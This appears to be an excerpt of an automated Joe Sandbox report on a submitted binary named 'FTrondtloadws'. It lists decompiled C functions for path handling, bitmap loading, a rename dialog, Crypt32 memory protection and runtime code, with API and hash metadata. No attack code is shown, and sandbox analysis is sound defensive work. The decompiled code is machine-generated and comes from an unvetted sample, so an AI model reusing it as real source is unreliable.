					_t62 =  &(_t68[1]);
					__eflags =  *_t62 - _t55;
					if( *_t62 != _t55) {
						goto L21;
					}
					_t69 = _a12;
					_t10 = _t65 + 6; // 0x6
					__eflags = _t69 - _t10;
					if(_t69 <= _t10) {
						goto L21;
					}
					E00CD1908(_a8, L"\\\\?\\", _t69);
					E00CD18E0(__eflags, _a8, L"UNC", _t69);
					_push(_t69);
					_push(_t62);
					goto L6;
				}
				_t2 = _t65 + 4; // 0x4
				_t73 = _a12 - _t2;
				if(_a12 <= _t2) {
					goto L21;
				} else {
					E00CD1908(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L5;
				}
			}

0x00cccf1a
0x00cccf21
0x00cccf25
0x00cccf29
0x00ccd093
0x00ccd093
0x00000000
0x00ccd093
0x00cccf30
0x00cccf3d
0x00cccf3f
0x00cccf44
0x00cccf46
0x00cccfd4
0x00cccfda
0x00cccfdc
0x00000000
0x00000000
0x00cccfe2
0x00cccfe4
0x00000000
0x00000000
0x00cccff3
0x00cccff5
0x00ccd03e
0x00ccd04a
0x00ccd054
0x00ccd058
0x00ccd05a
0x00000000
0x00000000
0x00ccd065
0x00ccd075
0x00ccd07a
0x00ccd07e
0x00ccd08a
0x00ccd08c
0x00ccd08e
0x00ccd08e
0x00ccd08c
0x00ccd02c
0x00ccd02c
0x00cccf71
0x00cccf71
0x00cccf72
0x00cccf72
0x00cccf75
0x00000000
0x00cccf7a
0x00cccff7
0x00cccffa
0x00cccffd
0x00cccfff
0x00000000
0x00000000
0x00ccd00e
0x00ccd013
0x00ccd015
0x00ccd027
0x00000000
0x00ccd027
0x00cccf50
0x00cccf83
0x00cccf84
0x00cccf87
0x00000000
0x00000000
0x00cccf8d
0x00cccf90
0x00cccf93
0x00000000
0x00000000
0x00cccf99
0x00cccf9c
0x00cccf9f
0x00cccfa1
0x00000000
0x00000000
0x00cccfb0
0x00cccfbe
0x00cccfc3
0x00cccfc4
0x00000000
0x00cccfc4
0x00cccf52
0x00cccf55
0x00cccf58
0x00000000
0x00cccf5e
0x00cccf69
0x00cccf6e
0x00000000
0x00cccf6e

APIs

_wcslen.LIBCMT ref: 00CCCF36
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00CCB4E5,?,?,00000800,?,?,00CCB4AA,?), ref: 00CCCFD4
_wcslen.LIBCMT ref: 00CCD04A

Strings

UNC, xrefs: 00CCCFB6
\\?\, xrefs: 00CCCF61, 00CCCFA8, 00CCD006, 00CCD05D

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: aa272c08569c9043e0c97ce03aa4fcf8b40d2eb04ecb2119c951ed67d8fe80f9
Instruction ID: c1c886beeab2621b80128ae40fedeb45fc8cbabcd2193c6f62658ca3725d8835
Opcode Fuzzy Hash: aa272c08569c9043e0c97ce03aa4fcf8b40d2eb04ecb2119c951ed67d8fe80f9
Instruction Fuzzy Hash: 3441F431940259BACB21AFB4CC41FEF77A9AF01391F08443EF92AA7141E771DA91EA50

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC76D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDC76D(void* __ecx, void* __edx, void* __fp0) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				void* _t13;
				void* _t15;
				signed int _t20;
				signed int _t21;
				void* _t23;
				void* _t24;
				void* _t28;
				void* _t35;

				_t35 = __fp0;
				_t23 = __edx;
				_t24 = LoadBitmapW( *0xd03068, 0x65);
				_t21 = _t20 & 0xffffff00 | _t24 == 0x00000000;
				if(_t24 != 0) {
					L2:
					GetObjectW(_t24, 0x18,  &_v28);
					L4:
					if(E00CDB5A6(_t31) != 0) {
						if(_t21 != 0) {
							_t28 = E00CDB6A2(0x66);
							if(_t28 != 0) {
								DeleteObject(_t24);
								_t24 = _t28;
							}
						}
						_t13 = E00CDB5E5(_v20);
						_t15 = E00CDB7EC(_t23, _t35, _t24, E00CDB5C4(_v24), _t13);
						DeleteObject(_t24);
						_t24 = _t15;
					}
					return _t24;
				}
				_t24 = E00CDB6A2(0x65);
				_t31 = _t24;
				if(_t24 == 0) {
					_v24 = 0x5d;
					_v20 = 0x12e;
					goto L4;
				}
				goto L2;
			}

0x00cdc76d
0x00cdc76d
0x00cdc783
0x00cdc787
0x00cdc78c
0x00cdc79b
0x00cdc7a2
0x00cdc7b8
0x00cdc7bf
0x00cdc7c4
0x00cdc7cd
0x00cdc7d1
0x00cdc7d4
0x00cdc7da
0x00cdc7da
0x00cdc7d1
0x00cdc7df
0x00cdc7ef
0x00cdc7f7
0x00cdc7fd
0x00cdc7ff
0x00cdc805
0x00cdc805
0x00cdc795
0x00cdc797
0x00cdc799
0x00cdc7aa
0x00cdc7b1
0x00000000
0x00cdc7b1
0x00000000

APIs

LoadBitmapW.USER32(00000065), ref: 00CDC77D
GetObjectW.GDI32(00000000,00000018,?), ref: 00CDC7A2
DeleteObject.GDI32(00000000), ref: 00CDC7D4
DeleteObject.GDI32(00000000), ref: 00CDC7F7

Part of subcall function 00CDB6A2: FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6B5
Part of subcall function 00CDB6A2: SizeofResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6CC
Part of subcall function 00CDB6A2: LoadResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6E3
Part of subcall function 00CDB6A2: LockResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6F2
Part of subcall function 00CDB6A2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CDC7CD,00000066), ref: 00CDB70D
Part of subcall function 00CDB6A2: GlobalLock.KERNEL32 ref: 00CDB71E
Part of subcall function 00CDB6A2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CDB787
Part of subcall function 00CDB6A2: GlobalUnlock.KERNEL32(00000000), ref: 00CDB7A6
Part of subcall function 00CDB6A2: GlobalFree.KERNEL32 ref: 00CDB7AD

Strings

], xrefs: 00CDC7AA

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: f537ab5bd5b09e0cfa5a0111605ea42d377bd63733b73beb5494fb7d331024b1
Instruction ID: 8c010274581cc15344d9c2b57b65ba7fdd30803d1ebe9b543c1f4fbb91b06f3e
Opcode Fuzzy Hash: f537ab5bd5b09e0cfa5a0111605ea42d377bd63733b73beb5494fb7d331024b1
Instruction Fuzzy Hash: 0301D636580602A7CB2127646D89E7F7BBAAF80B51F160016FB11F7395DF31CD0696B0

Uniqueness

Uniqueness Score: -1.00%

Function 00CDE5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00CDE5D0(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t19;
				struct HWND__* _t21;
				signed short _t22;

				_t16 = _a16;
				_t22 = _a12;
				_t21 = _a4;
				_t18 = _a8;
				if(E00CC12F6(_t17, _t21, _t18, _t22, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t19 = _t18 - 0x110;
				if(_t19 == 0) {
					 *0xd21cec = _t16;
					SetDlgItemTextW(_t21, 0x66, _t16);
					SetDlgItemTextW(_t21, 0x68,  *0xd21cec);
					goto L10;
				}
				if(_t19 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t22 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t21, 0x68,  *0xd21cec, 0x800);
					_push(1);
					L7:
					EndDialog(_t21, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x00cde5d1
0x00cde5d6
0x00cde5db
0x00cde5e0
0x00cde5f8
0x00cde65a
0x00000000
0x00cde65c
0x00cde5fa
0x00cde600
0x00cde63f
0x00cde645
0x00cde654
0x00000000
0x00cde654
0x00cde605
0x00cde614
0x00000000
0x00cde614
0x00cde60a
0x00cde60d
0x00cde631
0x00cde637
0x00cde61a
0x00cde61b
0x00000000
0x00cde61b
0x00cde612
0x00cde618
0x00000000
0x00cde618
0x00000000

APIs

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

EndDialog.USER32(?,00000001), ref: 00CDE61B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00CDE631
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CDE645
SetDlgItemTextW.USER32(?,00000068), ref: 00CDE654

Strings

RENAMEDLG, xrefs: 00CDE5E8

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 8f1abbd5116f83e59d5aa5c4df680e7f52afbacd8b61bba09d4f769c2506d084
Instruction ID: a132e0d379da7cbb4a359c0e66e24927ceee0d7b55cd4087f60f7d0d3fd7d60a
Opcode Fuzzy Hash: 8f1abbd5116f83e59d5aa5c4df680e7f52afbacd8b61bba09d4f769c2506d084
Instruction Fuzzy Hash: 7A01F5362807187AD1226B65AD09F6B775DFB7A701F104403F301EA2D4C66299079779

Uniqueness

Uniqueness Score: -1.00%

Function 00CE9085 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00CE9036,?,?,00CE8FD6,?,00CFD570,0000000C,00CE912D,?,00000002), ref: 00CE90A5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CE90B8
FreeLibrary.KERNEL32(00000000,?,?,?,00CE9036,?,?,00CE8FD6,?,00CFD570,0000000C,00CE912D,?,00000002,00000000), ref: 00CE90DB

Strings

mscoree.dll, xrefs: 00CE909E
CorExitProcess, xrefs: 00CE90B0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b1ef9fba176dbaf3e4b8ac8ce1f1cabb9eff522d8c495687f482c18ae12c5c21
Instruction ID: 7516bee780fa14393ac490376a89769e6f5449ad394e7eb79c7dca30bd46c35c
Opcode Fuzzy Hash: b1ef9fba176dbaf3e4b8ac8ce1f1cabb9eff522d8c495687f482c18ae12c5c21
Instruction Fuzzy Hash: ACF06231A0020CBBDF559FA5DC49BAEBFB4EF48715F414164F905A2260CF749E80CA92

Uniqueness

Uniqueness Score: -1.00%

Function 00CD0600 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CD0600(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E00CD1B14(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x00cd0601
0x00cd0607
0x00cd060e
0x00cd0613
0x00cd0617
0x00cd062c
0x00cd062f
0x00cd0635
0x00cd0635
0x00cd0638
0x00000000
0x00cd0638
0x00cd063d

APIs

Part of subcall function 00CD1B14: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD1B2F
Part of subcall function 00CD1B14: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CD0613,Crypt32.dll,00000000,00CD068D,00000200,?,00CD0670,00000000,00000000,?), ref: 00CD1B51

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CD061F
GetProcAddress.KERNEL32(00D0A1F0,CryptUnprotectMemory), ref: 00CD062F

Strings

Crypt32.dll, xrefs: 00CD0609
CryptProtectMemory, xrefs: 00CD0619
CryptUnprotectMemory, xrefs: 00CD0625

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 3abb90e0bf2b1987b56974bb2ee0d075c0533b22cb7708a2d3c8776b56e07f69
Instruction ID: 199677933a6e1e9f4281b1ddf0d8e5fe73f0b45f045a4dfffe2e74c7137e1092
Opcode Fuzzy Hash: 3abb90e0bf2b1987b56974bb2ee0d075c0533b22cb7708a2d3c8776b56e07f69
Instruction Fuzzy Hash: 07E02670801B406FD7645F789808B637ED05F24710F14882FF7D583352DAB0C080CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3BBA Relevance: 7.7, APIs: 5, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E00CE3BBA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed char _t81;
				signed char _t84;
				signed int _t85;
				signed int _t86;
				signed int _t97;
				signed char _t99;
				signed int* _t100;
				signed char* _t103;
				signed int _t109;
				void* _t113;

				_push(0x10);
				_push(0xcfd4b8);
				E00CE05F0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t113 + 0x10);
				_t81 = _t52[4];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t99 = _t52[8];
					if(_t99 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t109 =  *(_t113 + 0xc);
						if(_t84 >= 0) {
							_t109 = _t109 + 0xc + _t99;
						}
						 *(_t113 - 4) = _t75;
						_t103 =  *(_t113 + 0x14);
						if(_t84 >= 0 || ( *_t103 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t113 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t103 & 0x00000001;
								if(( *_t103 & 0x00000001) == 0) {
									_t85 =  *(_t54 + 0x18);
									__eflags = _t103[0x18] - _t75;
									if(_t103[0x18] != _t75) {
										__eflags = _t85;
										if(_t85 == 0) {
											goto L32;
										} else {
											__eflags = _t109;
											if(_t109 == 0) {
												goto L32;
											} else {
												__eflags =  *_t103 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t103 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t113 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t85;
										if(_t85 == 0) {
											goto L32;
										} else {
											__eflags = _t109;
											if(_t109 == 0) {
												goto L32;
											} else {
												E00CE2C10(_t109, E00CE380C(_t85,  &(_t103[8])), _t103[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t109;
										if(_t109 == 0) {
											goto L32;
										} else {
											E00CE2C10(_t109,  *(_t54 + 0x18), _t103[0x14]);
											__eflags = _t103[0x14] - 4;
											if(_t103[0x14] == 4) {
												__eflags =  *_t109;
												if( *_t109 != 0) {
													_push( &(_t103[8]));
													_push( *_t109);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t97 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0xd24094; // 0x0
							 *((intOrPtr*)(_t113 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0xcf4278();
								_t97 =  *((intOrPtr*)(_t113 - 0x1c))();
								L12:
								if(_t97 == 0 || _t109 == 0) {
									L32:
									E00CE9F44(_t75, _t99, _t103, _t109);
									asm("int3");
									_push(8);
									_push(0xcfd4d8);
									E00CE05F0(_t75, _t103, _t109);
									_t100 =  *(_t113 + 0x10);
									_t86 =  *(_t113 + 0xc);
									__eflags =  *_t100;
									if(__eflags >= 0) {
										_t105 = _t86 + 0xc + _t100[2];
										__eflags = _t86 + 0xc + _t100[2];
									} else {
										_t105 = _t86;
									}
									 *(_t113 - 4) =  *(_t113 - 4) & 0x00000000;
									_t110 =  *(_t113 + 0x14);
									_push( *(_t113 + 0x14));
									_push(_t100);
									_push(_t86);
									_t77 =  *((intOrPtr*)(_t113 + 8));
									_push( *((intOrPtr*)(_t113 + 8)));
									_t58 = E00CE3BBA(_t77, _t105, _t110, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00CE48C4(_t105, _t110[0x18], E00CE380C( *((intOrPtr*)(_t77 + 0x18)),  &(_t110[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00CE48D4(_t105, _t110[0x18], E00CE380C( *((intOrPtr*)(_t77 + 0x18)),  &(_t110[8])), 1);
										}
									}
									 *(_t113 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t113 - 0x10));
									return _t61;
								} else {
									 *_t109 = _t97;
									_push( &(_t103[8]));
									_push(_t97);
									L21:
									 *_t109 = E00CE380C();
									L29:
									 *(_t113 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t113 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00ce3bba
0x00ce3bbc
0x00ce3bc1
0x00ce3bc6
0x00ce3bc8
0x00ce3bcb
0x00ce3bd0
0x00ce3ce0
0x00ce3ce0
0x00ce3ce0
0x00000000
0x00ce3bdf
0x00ce3bdf
0x00ce3be4
0x00ce3bee
0x00ce3bf0
0x00ce3bf5
0x00ce3bfa
0x00ce3bfa
0x00ce3bfc
0x00ce3bff
0x00ce3c04
0x00ce3c26
0x00ce3c26
0x00ce3c29
0x00ce3c2c
0x00ce3c4a
0x00ce3c4d
0x00ce3c8c
0x00ce3c8f
0x00ce3c92
0x00ce3cb7
0x00ce3cb9
0x00000000
0x00ce3cbb
0x00ce3cbb
0x00ce3cbd
0x00000000
0x00ce3cbf
0x00ce3cbf
0x00ce3cc4
0x00ce3cc8
0x00ce3cc8
0x00ce3cc9
0x00000000
0x00ce3cc9
0x00ce3cbd
0x00ce3c94
0x00ce3c94
0x00ce3c96
0x00000000
0x00ce3c98
0x00ce3c98
0x00ce3c9a
0x00000000
0x00ce3c9c
0x00ce3cad
0x00000000
0x00ce3cb2
0x00ce3c9a
0x00ce3c96
0x00ce3c4f
0x00ce3c4f
0x00ce3c53
0x00000000
0x00ce3c59
0x00ce3c59
0x00ce3c5b
0x00000000
0x00ce3c61
0x00ce3c68
0x00ce3c70
0x00ce3c74
0x00ce3c76
0x00ce3c79
0x00ce3c7e
0x00ce3c7f
0x00000000
0x00ce3c7f
0x00ce3c79
0x00000000
0x00ce3c74
0x00ce3c5b
0x00ce3c53
0x00ce3c2e
0x00ce3c2e
0x00000000
0x00ce3c2e
0x00ce3c0b
0x00ce3c0b
0x00ce3c10
0x00ce3c15
0x00000000
0x00ce3c17
0x00ce3c19
0x00ce3c22
0x00ce3c31
0x00ce3c33
0x00ce3cf2
0x00ce3cf2
0x00ce3cf7
0x00ce3cf8
0x00ce3cfa
0x00ce3cff
0x00ce3d04
0x00ce3d07
0x00ce3d0a
0x00ce3d0d
0x00ce3d16
0x00ce3d16
0x00ce3d0f
0x00ce3d0f
0x00ce3d0f
0x00ce3d19
0x00ce3d1d
0x00ce3d20
0x00ce3d21
0x00ce3d22
0x00ce3d23
0x00ce3d26
0x00ce3d2f
0x00ce3d2f
0x00ce3d32
0x00ce3d68
0x00ce3d34
0x00ce3d34
0x00ce3d34
0x00ce3d37
0x00ce3d4e
0x00ce3d4e
0x00ce3d37
0x00ce3d6d
0x00ce3d77
0x00ce3d83
0x00ce3c41
0x00ce3c41
0x00ce3c46
0x00ce3c47
0x00ce3c81
0x00ce3c88
0x00ce3ccc
0x00ce3ccc
0x00ce3cd3
0x00ce3ce2
0x00ce3ce5
0x00ce3cf1
0x00ce3cf1
0x00ce3c33
0x00ce3c15
0x00000000
0x00000000
0x00000000
0x00ce3be4

APIs

___AdjustPointer.LIBCMT ref: 00CE3C81
___AdjustPointer.LIBCMT ref: 00CE3CA4
_abort.LIBCMT ref: 00CE3CF2
___AdjustPointer.LIBCMT ref: 00CE3D40

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 732156c02e51e7bcdebb8e5a6aadf638c5662dcdcacca8ed42a6a85a95598ccd
Instruction ID: 26b125e511316d8dec18d76f14b9b8e47ece20d16f0a5e2db7ddd88b837c6bb9
Opcode Fuzzy Hash: 732156c02e51e7bcdebb8e5a6aadf638c5662dcdcacca8ed42a6a85a95598ccd
Instruction Fuzzy Hash: 1A51A0726002D29FDB298F17D84AB6A77A4EF44300F344629EC22A7291D771FF81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CECF40 Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00CECF40() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E00CECF09(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E00CEA64E(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E00CEA4BA(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x00cecf4f
0x00cecf55
0x00cecfad
0x00cecfad
0x00cecf57
0x00cecf58
0x00cecf5d
0x00cecf66
0x00cecf6c
0x00cecf72
0x00cecf77
0x00000000
0x00cecf79
0x00cecf7f
0x00cecf84
0x00cecfa2
0x00cecf9c
0x00cecf9c
0x00cecf9e
0x00cecf9e
0x00cecfa5
0x00cecfaa
0x00cecf77
0x00cecfb1
0x00cecfb4
0x00cecfb4
0x00cecfc2

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00CECF49
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CECF6C

Part of subcall function 00CEA64E: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CE53E4,?,0000015D,?,?,?,?,00CE68C0,000000FF,00000000,?,?), ref: 00CEA680

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00CECF92
_free.LIBCMT ref: 00CECFA5
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00CECFB4

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 241157490eb2e01362b87710ac87d7309df3bc017e55f6d4f2480cd7073be236
Instruction ID: e248dcf32e690c2caf410178b1f4e30084404a20f89c6aa1bd9235d88c9730f8
